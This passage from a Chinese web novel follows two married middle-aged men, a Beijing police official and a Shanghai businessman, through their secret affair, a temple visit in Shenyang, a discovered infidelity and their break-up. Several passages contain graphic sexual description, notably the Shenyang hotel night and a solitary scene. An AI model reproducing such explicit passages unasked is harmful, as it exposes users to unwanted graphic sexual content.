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断城——一对京沪中年同志的真实故事&&&三
等下午志鹏拜年回来,提着在商厦买的年礼走进房门,国亮和老婆已经在厨房将包饺子的材料准备得差不多了,他们正要围坐在桌前动手包。志鹏说我也来一起包,说着话就去挽袖子洗手,有说有笑地跟着一起干。耳听得窗外不时传来的鞭炮声,给此时快乐的氛围又平添了喜庆。国亮老婆和那个男孩儿也没有了开始的陌生感,和志鹏很快就熟络起来。
深夜,琴和国亮在卧房的被窝里说着话儿。“你这个兄弟人还挺不错的,又拿礼物又给孩子红包,咱们又不缺这些,要我说你明天和他说,就让他把贵重礼品带给要看的人吧。”国亮说你看咱们不是推让了半天,人家兄弟也是诚意,就别不好意思了,再说人家上海自己有公司,又不差这俩钱儿。
“他家小子和咱家小明差不多大,听说上的也是上海市的重点小学,学习还挺好的。日后有机会两家可以多走动走动。”“我看咱儿子也挺喜欢他的,还和他说班上的事儿,和我都没说过那么多。”两口子就这么有一句没一句地聊着,在倦意中昏昏睡去。
志鹏被安排在舒适的客房休息,躺在陌生的环境中怎么也睡不着,脑子就想起那次俩人喝酒的事儿。他记得自己最初是从后面抱着他,握着他那里,感觉特别好。后来是怎么又到了床上?只记得接着是无休无止的吻。而现在,自己已经躺在他家的床上了,身旁却没有陪伴的他。
他自己也没有想到会这么快就走进他的家庭。作为已婚的同志,要想长久好下去,不仅要靠两个人的彼此欣赏与喜欢,也要讲些个相当的条件基础,家庭啊,学识爱好呀,彼此经济上和身体上的实力呀,性格匹配和相互理解什么的。当然关键的还是彼此情感专注,要不拿钱找什么不行?那是买卖交易不是弟兄亲情,志鹏知道自己要的不是前者。
看得出陈哥有个好的家境,我们彼此算是门户相当的。他对我也不错,就那件防寒服都上万元了。两人一样年纪聊起来也投机,他相貌堂堂,强健的身体和床上那种痴迷自己的状态,那种时候,最能激发起自己强烈的征服欲望。心里这样想,就好想有国亮在身边,抚慰自己升腾的渴望,哪怕是躺在一起聊聊天也好啊。
我们身处两地,又都有老婆孩子。可是我们是同志,我们需要身和心的亲密,在现实中只能承受偷情般的煎熬。该如何坦然面对各自的家庭呢?再不当回事,各自心里会不会有计较与愧疚。想想从结婚到有了孩子,自己对她还真做不到完全问心无愧,虽然和谐融洽,但是左手摸右手,爱的感觉随岁月的推移淡漠了,即使如此,未来的路还得要走下去。那和他呢?爱人注定一生,兄弟可以永交,情人可以长久吗?现实中有多少情人可以长久呢?……志鹏信马由缰地想着,思维混沌着也没能够想明白。
初六,志鹏陪国亮去了沈阳。国亮过这边来看望一个亲戚,然后二人打算一起去亚布力滑雪,也让紧张一年的神经放松放松。沈阳前几天也下过雪,南方人怕冷,幸亏他穿来国亮买的那件防寒服,感觉温暖不少。国亮自己穿的是一件黑色厚呢绒大衣,行走起来的样子显得很酷。
到丽都喜来登饭店放好随身行李,两个人一起去了国亮亲戚家,留在那里吃过午饭又多聊了一会儿,出来时已经是下午。离故宫很近,俩人边走边聊,不知不觉走到宫墙外的一处灰砖瓦宅院,看了墙面的文字介绍才知道这里是供奉着关公的关帝庙。也不需要门票,两人就走进去看。
原来这庙是明清沈阳古城中央座标点的著名建筑,紧邻故宫,还和皇家的祭司有关。传说当时皇帝建故宫时,出于对庙中神灵的敬重,传下圣旨,对庙里供的关公、土地、山神、城隍、财神“各敬三尺”,合起来就是一丈五尺,加上庙前边原有的街道,就形成了现在的空地。志鹏看到北面的红色宫墙到这里还真拐了个弯儿,给庙门留出了一块空地儿。
据说早年努尔哈赤征战无往不胜,认为是关公在天之灵保佑,所以迁都到哪儿就把关帝庙建到哪儿。金迁都沈阳后,选了城里最中心的位置,把关老爷的塑像恭恭敬敬地供在庙里,请人写了“忠义千秋”四字金匾挂在庙内。由于挂庙匾的地方太小,写不下“忠义千秋庙”五个字,就简单写成“忠庙”。那时候的庙匾是竖着的,有人把“忠”字念成了“中心”两个字,却正好应了它所处的位置,人们也就管这座关帝庙叫“中心庙”了。还据说它是沈阳城四象八卦中心的“太极”,也有的说是太极图中的“两仪”之一,是“阴阳鱼”的一只眼。
志鹏和国亮都没有想到这座庙会如此小。也就两人多宽的小庙庙门大开,面对的就是近在咫尺的神龛位,石槽香炉下摆放着三个红色的蒲团跪垫,其中有两人正在伏地叩拜,炉上燃香插满,烟雾缭绕。这不足百平米的小院,也可以说就是围绕着神龛,灰砖砌墙而成,竟没有想到香火却如此旺盛。
两人不约而同地迈进庙门,环顾周边,只见矮墙和一侧高出墙外的宫闱远亭。神殿两侧是一副黑底鎏金的对联:万古勋名垂竹帛,千秋义勇壮山河,正上方是遒劲的“正气浩然”四个大字,两人看着都没有说话。这时先前两人站起身各自离开,志鹏和国亮对望了一眼,“要不咱们也拜拜?”志鹏说,国亮点着头说行,两人就像模像样地各祀其事起来。
出来后两人又回望了一眼这座关帝庙。四周很静很安宁,门前那两头石狮子脖扎红绣球,在石阶两侧墙根堆积的白雪中很俏皮地望着他俩……
东北的冬季天黑得早,吃完火锅回到饭店大堂,灯火通明透着温暖舒适。两人进到房间,志鹏打开电视要看“财经报道”,国亮先进了卫生间去洗漱。
这是他们可以抱在一起安然入睡的第一个完整的夜晚,两人无忧无虑,做的也激情澎湃。
“给我吧哥,我都憋了好几天。”先是志鹏在耳边呢喃着,说着话翻身压上来,用嘴去找国亮的呼吸。国亮双臂抱定志鹏的脊背,在忘情的接吻中上下抚搓着,回应着对面那一声紧似一声的喘息。
两人不断变化着体位,你上我下,此起彼伏。床单被子皱皱巴巴,像凌乱的水波纹,而他俩就是在水面上翻江倒海的蛟龙,搅动雄浑的气息涛飞浪涌。今夜此时,只有我和你,唱和着两个男人心声的舞动。……做!不做就不足以显示对他的真诚,不做就不足以安抚嵌你入怀的那颗雄心。只有投入去做,让灵与肉彼此彻底拥有,才能解郁那耿耿心结,补偿那过去心属孤独的漫长与艰辛。
投入地笑一次,忘了自己;投入地爱一次,忘了自己。伸出你的手,别有顾虑,敞开你的心别再犹豫。投入蓝天,你就是白云;投入白云,你就是细雨,在共同的目光里,你中有我,我中有你。
他们两人面腹相应,倒捧双髋,带着男性气息和热度的坚挺勃体,在浓密的黝黑中血脉贲涨,穿梭游走在双唇间,带着美润的光泽和膻香的味道,仿佛是在用硬度锤炼诚心,满足着自己和伴侣此时刻的欲望和尊严。这种原真本质的感官交流,既是男人独有的情绪表白,也是男人间爱的信任与托付,在令人醉倒声色的同时,浮想联翩……
歇息时,志鹏头枕在国亮胸膛上,侧转眼睛问国亮:“我看你今天拜关公的时候挺虔诚的,都祈祷什么了?”
国亮搂着志鹏的肩,胳膊随意搭在他胸上,说道:“还能祈祷什么,无外乎就是些父母安康、家庭幸福、工作顺利呗。”
& & “就没有让他老人家保佑保佑咱们?”
国亮咧着嘴乐,低头看着他说:“人家还管你们这事儿?再说了,人家是圣人、财神,又不是月老儿媒人。”
志鹏正仰着头表情认真地看着他,听了这话也乐了,把原本想说的话咽回到肚子里。随口道:“我有一次听公司两个女同事闲聊天,说看电视,《鲁豫有约》里采访了一对儿成都的老同志,一起共同生活了二十多年,还收养了一个男孩儿。两人一起经营一家小店,店里也敬的有关公像。”
志鹏翻过身子接着说:“虽然外界不了解他俩关系,他们日常生活也免不了争吵,可最终两人还是宽容相伴生活到现在。那个年纪大点的女同事说得挺动感情的,说没想到男人之间也有不渝的爱情,说是什么前生的缘,菩萨保佑什么的,和另个同事感慨了半天。我后来就到网上去搜,还真看到了他们说的那期节目,真的让人挺感动的。”
& & “国亮我记得你说过挺喜欢我,你说咱们也能像人家,做长久的伴侣吗?”
国亮扳过志鹏的身子,眼神郑重地看着他:“能,兄弟。我和你在一起,有说不出来的畅快和踏实,我对你喜欢你应该看的出来吧。”
志鹏抱定国亮,在他的脸上吻了一下,对他说:“我当然……看不出来啦,嘿嘿。”国亮翻手抱住他后腰,把志鹏撂倒在床上。“坏小子!敢跟我开玩笑。”就势扑到志鹏的身上。两个中年大男人像小孩儿一般打闹了一番,国亮就扯过被子裹住自己,任凭志鹏瞎胡闹,好在房间有暖气,不会冻着他。
志鹏一看国亮打算休战,裹着被子像个大号蚕茧,就趴伏上来抱着他说:“咱定个约吧,以后除了老婆,不再和别人发生性关系了,行吗?我以后就要定你了。”
国亮从被中伸出脑袋对他说:“真的,行啊,你之前也没问你嫂子同意不,我不早都成你的人啦。”志鹏呵呵笑着说那不算,要答应就郑重点,要不咱们击掌为誓吧。国亮就伸出胳膊,迎着志鹏的手掌“啪”地拍出个清脆的响。
志鹏把脸凑过去,温情着说:“好啦,我又想要你了。”国亮把脸扭向一边,假装严肃地说不给。志鹏笑着说你看看,刚发完誓就不认了。我就是想要定你了,你不给也得行啊。说着话去扒国亮的被窝,国亮看着他,像看个耍赖的大男孩儿,自己有点哭笑不得的神态印在方脸膛上,微咬下唇的表情,志鹏看来又是透出几分从没见过的魅力。
在志鹏小孩儿似的抓挠下,国亮挥臂掀开被子,把志鹏连头带屁股地捂到里面,两人又开始了新一轮的赤膊厮杀……
三天时间很快就过去了。这三天里,他们在没有熟人的陌生地方,心手相牵,并肩为伴,没有工作的繁杂和琐事的烦扰,过得舒心畅意,开怀幸福。
二月,国亮出差上海,回访了志鹏家,入住在志鹏安排的喜来登饭店,此后这里就成了两人纵情表爱的幽阁馆驿。每每国亮从机场或车站到沪,都是志鹏驾车去接送,先入喜来登,再到公安局。有的时候,偶尔也住志鹏殷实宽大的家中,和他一起参加朋友聚会或者是同事生日宴请。
五月立夏过后,国亮打来电话,说月中要到成都开会,看志鹏有没有时间和他去趟九寨沟旅游,志鹏看公司各部门都运转正常,没有什么很重要的事务,外出时间又不长就答应下来。于是两人各从北京上海飞临成都,在素以仙境美水著称的九寨沟度过了神仙眷侣的两天。
不到一年时间,两人你来我去,交往甚欢。各自的家庭都已熟悉,无论父母老人还是妻儿亲友,都没把对方见外对待,有时念叨起来,还禁不住夸赞一番,说你看人家知书达理,事业成功。或者说两人地位骑虎相当,友情胜过亲兄弟。两人也是顺心如意,其乐融融的,商量准备十一或是明年春节带上儿子,两家人一起去香港旅游。
转眼进入秋季,这个初秋似乎来的晚了点,还残留着盛夏的炎热。这些年全球温室效应加剧,搞得老天爷也失去了规律,许多城市的气候像打摆子,该冷的时候不冷,不该热的时候又闷热。或者忽热忽冷,像极了现代社会世故的人情。现在,阴晴不定的还有全球经济,从去年爆发至今的世界性金融危机还没有更大复苏的迹象,向中国这样的发展中国家,包括志鹏那家涉及到对外出口贸易的公司也多少受到了点影响。俗话说,瘦死的骆驼比马大,好在还能应付得过去。
人过不惑了,经历过那么多商场的厮厮杀杀,志鹏觉得自己已经能平和地看待世间的沉浮纷争。走到现在,自己有了还可说算成就的事业,有了家室后嗣、三五知己,还有了北京的挚爱亲朋。可以了,人生在世不就图个心满意足嘛、虽然这些都需要付出责任和义务去维护,但谁人的生活不是这样呢,做同志就能特殊吗?总之是人生不易的,我只是多少幸运了一点。
志鹏走出首都机场航站楼后,就给国亮拨去电话,想问问帮他从上海公安局带过来的东西怎么拿给他,却是关机状态。他知道他的工作,日常事务性会议很多。也许正在开会吧,看着手机屏想了想,就提起行李箱上了一辆出租车,和司机师傅说去东城平安大道。
他到了国亮单位登记上楼,来到他办公室敲门没有人,又给国亮拨打手机,还是关机。这时隔壁办公室门开了,走出一个警官,志鹏忙问知不知道陈处去了哪里。那人说不清楚,问他有事吗?志鹏就说他让自己从上海局里带来一份材料要交给他。那人打量着志鹏说等人回来可以帮着转交,志鹏边称谢边把东西递过去。
刚下来走出机关楼门,迎面正碰上国亮的司机小张。小张诧异地开口和志鹏打招呼:“呦,沈先生您好!您怎么在这儿,我们陈处让我订房刚回来。”“你好你好,我没打通他的电话,帮他从上海那边带过点东西,直接送过来了。”“他人在哪儿?”“跟我说在外边办事呢,回头叫我接他。”
“那我先送您到饭店去吧,他说他马上也过去。”小张说着话接过行李箱,转身带着志鹏向院内几米远的停车场走,边走还边说着:“您是打车过来的吧,这次陈处也没说让我去接您,这不我刚从宾馆那边把车开回来。”说着指指前面黑色的轿车。
& & “那又辛苦你了。”“没什么没什么,您不用客气!”
轿车顺着平安大道一路向东开去。路过高耸的保利大厦时,志鹏想起国亮第一次在这里请自己吃饭时,两个人开心交谈的场景,心里有点忍俊不禁——一晃认识快一年了,现在国亮成了他北京唯一牵挂的亲人。看那些路边走着的,来来往往的男男女女,志鹏内心也期望能有一天,自己和他,还有其他同志们都能以爱侣的身份,在同样灿烂的阳光里不用背负任何压力地行走,和世间所有相爱的人们一样,过上安居乐业、相亲相守的生活。如果能那样,这个社会就还不是糟糕的社会,这个社会才称得上是一个和谐幸福“爱的天堂”。
他这样想着,虽然也觉得这在现实状况里过于理想化和幼稚,可看着自己胜券在握的幸福,他还是不免怀揣着遥远的期望。什么时候可以呢?我们也能像人家国外有些地方的同志情侣一样,把爱绽放在蓝天下,迎面没有异样的眼光。
车子拐弯向北,很快上了东直门外大街。没开多久,在路边右侧一座灰色不很起眼的饭店门口缓缓停下。志鹏心里正纳闷着怎么不到“长城”在这里停呢,小张转身递过一张房卡,说:“沈先生这是您的房卡,是在3楼,也许陈处已经到了等您呢,您告诉他我就在车里等你们。”
志鹏一头雾水地问小张:“你们陈处让定这里房间的?”“是啊,他嘱咐我午饭后就订好。”小张边说边下了车,到后备箱取志鹏的行李箱。志鹏心想国亮知道我只住喜来登的呀,为何来这里开房?想着也开门下车,接过小张交过来的行李。
可能是他有什么事要需要我帮着办吧,志鹏这样莫名其妙猜测着,乘电梯到了3楼,按房卡号来到房门前,正准备插卡,似乎听到里面有流水声,想是国亮已经来了,就敲了敲门。“是张师傅吗?”是国亮的声音在问。志鹏假装嗯了一声,想给他个意外。
门开处,国亮围着浴巾现出身子。看到志鹏,顿时脸上变颜变色惊呆在那里。志鹏立刻敏锐地感觉到不对!砰地一把推开半开的房门,手劲之大让国亮也向后趔趄了一下,志鹏紧走进屋内……
房中大床上,一个把被子扯到胸口的光膀中年男人,同样脸色煞白,目光惊愕地盯视着志鹏。志鹏登时血往上涌,阴沉的表情吓得床上的那人似乎不知该如何是好,眼神慌乱着来回瞅向国亮和志鹏。志鹏恼怒的上前一步,劈手就把他身上的被子扯开,随手狠狠甩向一边!
& & 全身赤条的白壮躯体赫然眼前!四
“志鹏!志鹏!原谅我,我们刚到的,还没有……”国亮像缓过神儿来,扑过来抓着志鹏的胳膊叫道。
志鹏甩开他的手,臂肘转身撞开他,余怒未消地拎起门旁行李箱,头也不回地向通道电梯走。国亮慌忙转身,急匆匆去穿衣服,也不管什么了,一头跑去追志鹏。
这边刚刚跑出饭店大门,那边已坐上出租车。国亮气喘吁吁冷汗湿背,只看到开动起来的车尾,越开越远。他心里说不出是什么滋味儿,隐约有种怅然若失的痛感。有些东西顷刻间要离他远去了,羞愧难当之间,也让他心中汗颜。
志鹏坐在出租车里,脸色很难看,内心有种想哭的感觉。好啊你,我把你看做心里的唯一,时时牵念,温暖内心落寞。而你却忘掉承诺,背着我和别人放纵偷欢,我的一片心意到底为谁付出了?原来美好的寄望都是一场空,来前还枕在幸福的梦上,转眼就变成惊魂的噩梦。半年前的盟约声犹在耳,今天偶然的遭遇恰如到了梦醒时分。委屈、憋气、失望,带有一点点恼恨纷纷化作液体涌上来,想要朦胧志鹏的双眼。
司机看他样子以为他生病了怎的,犹豫了一下,还是试探地问:“先生你是不舒服吧,要去医院吗?”志鹏摇摇头,没有说话。
一头栽倒在长城饭店客房的大床上,沈志鹏目光空洞,仰面直视着白色天花板,如坠落在虚幻的云雾里。改变就这么快么?这么快背弃前言,这么快突然发现这样的外遇,以前自己都没有发觉什么,他为什么会这样?志鹏就像身处迷境,他想要找到这云海里的一线出路,却发现无论走到哪里,都是厚密的云墙,使他根本无法逃脱。
明明的他是知道自己今天到京的。志鹏还清楚记得从上海临行前打给他的电话。说事情已经帮着办好,需不需要给孩子还带点什么,他回答说不需要,北有,你到了再联系。知道我来为什么还发生这样的情况?不像是故意做给我看的,但那么巧就被我撞到。那个人是什么人啊?普通的样貌只能是还算端正,比自己稍微健壮一丁点,就再也没有什么突出的特点了。他图他什么?我和他以前的交往又算什么?
虽然人的缘分都是始于偶然,在日后不断的接触往来中加深了情份,这种相知相恋的感情已经拥有了,难道不该尽责任去维护?我们都承诺过要好,也同意除了老婆和对方,不再和其他人保持性关系。可是刚才的事你想和我怎么解释?我这次碰上了,我没碰到的还有没有?如果他是那样薄情寡义的人,还有没有继续交往的必要?
手机铃声骤然响起,把迷失在五里雾的他一下拉回到现实的空间。他摸到手机看闪动的屏幕,是那个熟悉的名字。手握着它缓缓放下胳膊,任由那动听的铃声一遍遍响。他此刻不想接听,不想去面对他任何的说辞。内心已经裂开伤口,需要独自静静舔舐修复,需要,需要有这样的时刻,志鹏体会到从没有过的孤单和悲伤。
国亮这一下午在办公室坐立不安,他一遍一遍拨打着志鹏的电话,希望能够听到他的声音,向他表达歉意和认错。但是那边就是不接,也没有关机,这让他心里胡思乱想七上八下的。
本来他是知道志鹏可能回到了长城饭店,也曾想要不要去找他当面解说,但是看当时那气冲冲的样子,自己心里都发虚,又不知该做如何合理的解释,也确实自己贪一时之快没有顾虑太多。又不能不给他个道歉,就只好寄希望志鹏能接听自己的电话,避免当面的尴尬。
临下班前,他又拨去电话,铃声嘟嘟响着,还是没有听到那个熟悉的男中音。他是回上海了?还是在哪里?国亮猜测着挂断电话。走出安静的办公大楼,他自己开着车在街上徘徊,不知道是该去找他,还是该先回家,想来想去还是打算回去后再联络。
晚饭后,琴和孩子就守在电视机旁,国亮说要出去散散步,就揣上手机走出门。在社区僻静的地方,他再次拨打志鹏的电话。而此刻,志鹏也从昏昏的睡梦中刚刚苏醒,虽然听到电话铃心烦意乱,但小睡使他情绪稳定下来,于是抓过枕边的手机按下了接听键。
& & “……志鹏吗?是我,干嘛不接我的电话了?”
& & “……”志鹏没有回答。
& & “对不起志鹏,我错了,你原谅我吧!我们可能误会了。”国亮低声说。
“误会?……,是啊,是误会,如果不是误会,也看不到今天这件事啊。我现在心里烦,你也不用解释了。一周之内你不用再打电话,也不用找我,反正你我都考虑一下,是否我们的关系还可以继续……”
“你听我说。”国亮在那边几乎是在急切地喊,“我给你一遍遍电话,不就是想说这个事吗?我并没有去喜欢他,我和他也没深交,是经过外地同事认识的朋友。”
他还没说完,志鹏就生气地接口说:“什么乱七八糟的人啊,我不管你们那么多。这个事是你做的你自己清楚。我们当初怎么说的来着?你找去啊,你不找他能来啊!”
“志鹏你别激动行吗?咱这是说问题。”“别和我说,我没兴趣听,不行就分手吧。”
& & 关了手机,不知为什么,志鹏似乎能听到自己心脏咚咚跳动的声音。
一如这个寂静的夜,妻儿都已熟睡,此刻黑暗的客厅里,寂静衬托出任何细微的声响,当然也包括志鹏自己的呼吸与心跳。歪坐在沙发上不知迷糊了多久,披着的上衣已经滑落到一旁,仅穿着睡衣确实感到有点凉意。不再去想了,志鹏起身蹑手蹑脚地走进卧房,轻轻地钻进被褥中,没有惊动睡得正香的老婆。
国亮当夜是从外面的餐厅独斟自饮后回家的,喝了酒加上心情很难受,他直接开车回了另一套住房,自己和志鹏曾经数次共眠的居所。平时家人不来这边,十有九空,因是单位分房,也没有怎么过份装修,但格局还好,住着也比较安静。
酒有些冲头,虽然没喝多少,但还是有些晕感。他走进卫生间,随手按亮灯的同时,就在洗手池边看到自己和志鹏在超市购买的洗漱用品。不锈钢的墙架上搭着志鹏用过的毛巾,上面整齐叠放着浅色浴巾。他的梳子,他的水杯,他的洗发液……看着看着,有水滴不知不觉就从上面淌到嘴边,很快咸涩的味道就钻入国亮的嘴里。他抬手撩起毛巾擦拭,似乎嗅到志鹏的体味,那是志鹏使用的毛巾,上面好像还带着他的味道。
热气升腾的蓬头下,水线打在国亮健滑的肌肤上,他用那毛巾双手捂着脸,任凭水的冲刷。想他,想把他的味道深深吸入肺腑,刻在记忆深处,永远不让自己忘掉他。这味道又像是志鹏拷问的眼神,深深刺激着他,叫他心痛,让他懊悔。但是今天已经是第五天了,他还是没有给我来任何消息,不再理我了?我该如何取得他的原谅?
一个人躺在床上,把手机短信发过去,接着就是等,陷入遥遥无期的等。床头柜台灯的光芒令他想起无数个和他在一起的夜晚,相同的情景,不同的状况,物是人非,斗转星移。你知道我在等你吗?你如果真的在乎我,又怎会忍心让无尽的长夜陪我度过呢……
还记得今年的阳春三月,你那次带公司同事来北京参加你们行业的国际展会。我和司机亲自到机场接你们,我们开了一辆单位的面包车,把你们直接送到会场布展。那天中午你和同事交代清事务,是和我一起离开的。我们开车去了离此不远的美林阁餐厅,我请你吃你喜欢的本帮菜。
在包房,我们一边吃喝一边聊,你趁服务员离开没在,放胆一把搂我吻在脸上。我正坐着夹菜,被你突然的偷袭,筷子都差点脱手。我捶了你大腿一拳,你嫌疼就过后不依不饶。晚上回到这房间睡觉,你在做爱时还提到白天的一拳,边干还竟说出粗话,我知道那样的时候,你平时是极少说话的。
而那一夜的难忘,因为情意缠绵,因为一遍一遍,也因为对新奇的挑战。而今,都是我的错么?当你最初第一次长矛利剑进入我的时候,当你其后一次次用粗涨挑动起我情欲的时候,我的身体已经被你改变,变得难以把握的贪求与放纵。你知道我是多么不愿意离开你,你可以说我意志薄弱,可我在工作生活中也是坚韧顽强有自己的原则啊!我现在控制不住自己了,我是被你的情欲打倒的,我也是被自己的欲念打倒的。志鹏,别都怪我好吗?
两个人在一起,我们也发生过争吵,但顷刻也就化解了。这次是我错了,但是你不要这样煎熬惩罚我!我现在满脑子都是你,就想醉死在你的怀中,求得你的原谅……你的毛巾味道,你的身体味道,我就要没有了,我好难受……
国亮胡乱想着,不知觉右手攥握住自己的分身,像是在处罚自己,一下下砸夯一般,感受着敏感地带的震颤节律,和虚幻中的粗暴对后庭冒犯的凶狠。……恍惚中听到不知是哪家传出来的管弦弹奏,顷刻玉杯碎,琼液覆,琴弦断,飘渺的音乐戛然而止,一切并不美妙。
& & 不行,我实在不能等他了,我要到上海去找他,我要当面向他表白清楚!
周六的上午,陈国亮专程坐火车到上海找志鹏,想寻求他的原谅。没下车前给他发的还是短信,十分钟后志鹏回复说没在家,还在单位加班仍不想见。于是国亮就到了志鹏公司所在大厦的楼下,又给他打电话说等他下班见面。志鹏说我们还是考虑分手吧,下班已经早定好别的安排,没有时间再见面。
国亮就这样无果地在上海呆了一晚,直到第二天中午,志鹏终于有些心软了,告诉他到外滩金融街的一家餐馆一起吃个离别饭。
食客并不很多的餐馆角落,桌上摆放着四碟精致的小菜,都还比较完好地保持着装盘的形态,两个人谁都没有胃口动筷子。
志鹏没有说话,静等着国亮先开口。国亮在来前想着这话怎么说,一见到志鹏眉头微蹙的样子,又不知该如何说了,但最终还是他看着志鹏先开了口:
& & “志鹏,我是向你来认错的。都是我一时糊涂,伤了你。”
& & “你不是伤了我,你是伤了咱们的情份,也是在害你自己。”
& & “我……,现在知道,我还是喜欢你。”国亮嚅喏着说。
“……”志鹏咽了一口气,看着桌面的菜,面无表情地问:“他,哪里的?”
& & “哈尔滨的,……很早前同事聚会上认识的。”
& & “多长时间了,你们。”
& & “两年前,只有过一次,这次我们没有。”
志鹏抬眼望向国亮的眼睛,严肃认真地说:“你是做哥的,我不知道该说你什么好,不知道是我没把咱们的关系摆对,还是你把咱们的交情当儿戏。两个人在一起不好么?又有老婆孩子的,还要怎么样啊?”
国亮低着头没说话。志鹏自顾自接着说:“你还记得那次在沈阳拜关公吧,知道我祈祷什么吗?我让他保佑咱们能够缘分长久,能像他们三兄弟那样一生相随。结果可好,我把感情当真的,你却背着我和别人来。你让我这缘分还怎么续?”
“本来现实中人家社会上就有误解,对同志们的交往就没啥好感,都以为是污七八糟有伤风化的,结果我们自己都不好自为之,用行动配合人家的口实,能不让人家歧视?这还是小事,现在性病艾滋病闹得这么厉害你又不是不知道,以为带上套就万事无忧啦!光我知道身边得那病死的就不是一两位。再说了,你知道别人会不会害你,现在人心难测,到时候你可能连身家性命都不一定保住,更别说事业地位和声誉了。”
“所以我怎么想都想不明白,这些你不会不懂,那到底还图的什么?我只能认为是我们的交友原则有大的差别,你的忠诚度有问题,缘份继续不下去了,也只能到此为止,对你对我都不是勉强,大家也好和好散。”
国亮听到这里抬起头来,一脸羞愧,但又心有不甘。他明白志鹏是为自己着想,更想着让志鹏重新接纳自己。可他清楚既然志鹏这么说,那也是考虑过才提出分手的,他只希望还能至少做个来往的普通朋友,这是自己最底线的要求。
& & “就不能再做普通朋友了吗?毕竟认识一场,在一起好过。”
志鹏说:“我看没那个必要了,谁不是工作家庭一大堆忙活,哪有时间没事在一起吃饭聊天,况且你我也没有必要为吃饭聊天叙旧跑到另一个城市来。”
志鹏缓和了一下,又说:“只希望你在北京好好把握吧,走到今天这一步不容易,不要因为这种事,乱来毁了自己。”
国亮红着眼睛,没看志鹏的表情,只把目光盯在他笔挺的深色西装领口。听志鹏说完,他暗自叹了口气,微咬着下唇说:“好吧,你让我考虑考虑。”
& & 沉吟良久,国亮问道:“我能问你个问题吗?”
& & “说吧。”
& & “你,你那天把我吓坏了,从来没看你那么怒过。干嘛要去揭人被子啊?”
提起这志鹏不由得纵起眉毛。“我就是生气!看看他下面有多大,是比我的大?让你找来满足,我看不是也不大吗?”
志鹏这样答,让国亮后悔这样问他,我这不是自取其辱吗?问这个干吗?可他这么说,丝毫也不留情面,这让国亮在听了那么多述说自己不是,满腹愧疚的同时也不禁有些恼火,毕竟都是有头有脸大男人。
& & 国亮有些赌气地也说出了混话。“硬了还是挺大的,那没啥可比。”
“你!……,行啊,算我是当初看错人了,你找大的去吧!”说着话志鹏站起身,甩手扒拉开座椅靠背,幸亏那椅子比较沉实,不然就被他撂倒了。
刚迈腿走了两步,志鹏又回转身直视着国亮说:“以后我们各走各的阳关道,喜来登已经不属于你了,就当我们什么都没发生过,你以后也别再打电话联系了。”说着话转身气冲冲离去。
国亮坐在桌边也余气未消,但面对着空荡荡的座椅也无可奈何,本来是想认错求得原谅的,现在闹得无法妥善解决了。是有我的原因,但你也不等我表白清楚就那么绝情武断离开,什么人犯错也要给个改正机会呀,我又不是圣人,我要是圣人也不会犯错了。尤其是志鹏最后说的话,让国亮抱着的一线希望也破灭了。
沈志鹏那头也被今天的分手闹得心烦。回去的路上,他想起三月份在北京参加展会期间,碰巧有个多年前在商务活动中认识,后来定居美国的华裔老同志斯蒂文也来展会参观,那天傍晚他和国亮吃过饭,三个人约上一起去喝咖啡。席间趁国亮出去回电话,斯蒂文和自己半开玩笑地说从你这朋友的眼神里,感觉像是个很活跃的人,你以后可要看住了他啊。当时自己以为玩笑没在意,现在看来人家没看错。
你听他今天说的什么话?分明是告诉我他们玩儿过,莫非他看中的就是那里的大?那这个世界上有不少人呢。难道欲望就没有满足的时候?为什么会这样?!
他翻开手机通讯录,找到了斯蒂文的电话,给他发过去一个短信问在哪儿通话方便吗?一刻钟后,短信回复过来说在新加坡,有事可以MSN上聊,志鹏短信回道说我们二十分钟后见。
志鹏回去开了笔记本,登录上去他果然在,就把自己目前的情况告诉了斯蒂文。说明明知道我当天到京,还找哈尔滨的人,老天爷有眼,凑巧让他遇到了,如果不碰上,也猜不到会有多少。也庆幸自己早发现了,不然关系到了健康人身问题那后果就可怕了。今天见面又怎么最后生气,都一五一十说了。
斯蒂文说这事也正常,你们身处两个城市,再怎么要好,能看到对方的缺点并不多,彼此在一起时呈现的大多都是个人美好的一面,看到对方的也往往是魅力的一面。人的品性与思想不是一朝一夕就能深入了解的,而且感情上这东西有近热远冷的规律,毕竟你们不能经常相守在一起,需要时迫切想要一个替代,无论是老婆还是情人。你要体谅,做0的人和做1还是有心理上的不同的。
志鹏说:那也不应该还和别人乱来呀,都是有脸面有地位的不是小孩子,这么伤害我接受不了,就是我能原谅他人,也不能原谅他的行为。
不要把人想的那么道德高尚,当然人也不都是事事无耻卑鄙。要多理解人性,不光是商场的尔虞我诈和官场的厚黑,再坚定的人也有他们柔软的一面。也许你们俩对感情的态度真的有不同,只是你们在一起时没有更多相互交流、理解和包容吧,这可能是一个很主要的方面。斯蒂文回复道。
他安慰志鹏说,我不知道你对他的感情有多深,我想你应该还是喜欢他的。要想想你们在一起时的情份,至少近一年时间里你们是快乐和幸福的。如果不能在乎长久,也别忘怀曾经拥有的那些时刻。别心怀恨意,上帝都会原谅犯错的人!……
国亮心事重重地坐在回程的火车上,西晒的阳光过分刺眼,从车窗照进来,晃得窗外一片白茫茫的,玻璃上隐约有些景物的幻象在摇动。泪水在心里打着转转。
一切都要结束了,一段幸福的缘份,一段真挚的恋情。沈志鹏,你是我知晓自己是同志后第一个心里有了爱恋的人。如今,你的英俊不属于我了,你的身体不属于我了,你的心也不属于我了,我还能有什么,我他妈怎么那么混蛋呀!因为一时贪念,我失去了可能的永远,又因为一时的逞强,我断送了最后的希望。我……,生活又要回到以前的轨道,平淡而忙碌,唯独没有了自己想要的真挚挂念和依恋,没有了一个人,可能也很难再找回的一个爱人。
迎面轰隆隆驶过南下的列车,窗格一个个跃过,坐在那列车里边的乘客也看到的是同样的情景,可是他们都无缘看到对方真实清晰的面容。
此刻,志鹏和斯蒂文联络完,正看着电脑桌面的风景陷入了思考。“我不知道你对他的感情有多深,我想你应该还是喜欢他的。”这话好像就在耳边一遍遍回响。喜欢?我曾经对他的感情是只称作喜欢吗?每一次到对方家里,阖家老小亲如家人的态度,那是喜欢。妻子出差,保姆不在,他亲下厨房做炸酱面,饭后还洗碗刷锅,那种感觉能仅用喜欢来评量吗?
